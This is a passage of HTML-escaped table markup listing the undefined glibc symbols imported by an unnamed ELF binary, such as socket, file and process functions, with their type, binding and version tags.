      &lt;td style=&quot;text-align: left&quot;&gt;gmtime_r@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;dup@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;lseek@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;gettimeofday@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ITM_addUserCommitAction&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fputs@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fnmatch@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ITM_memcpyRtWn&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__strtok_r@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;memset@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;geteuid@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fscanf@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;ioctl@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getcwd@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;sendto@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;close@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;setsid@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strspn@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;closedir@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fputc@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strcspn@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;memchr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;read@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__libc_start_main@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;srand@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;memcmp@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fgets@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__tls_get_addr@GLIBC_2.3 (6)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getsockopt@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;execve@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;calloc@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strcmp@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;signal@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;syscall@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;feof@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;gmon_start&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;umask@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;if_nametoindex@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strtol@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;memcpy@GLIBC_2.14 (7)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;inet_pton@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__xpg_basename@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;time@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fileno@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;inet_aton@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__xstat@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;readdir@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;random@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;get_current_dir_name@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_mutex_unlock@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__rawmemchr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;malloc@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fflush@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__isoc99_sscanf@GLIBC_2.7 (8)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getifaddrs@GLIBC_2.3 (9)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__fxstat@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;listen@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;recvfrom@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getlogin@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;clock_gettime@GLIBC_2.2.5 (10)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strpbrk@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fseek@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
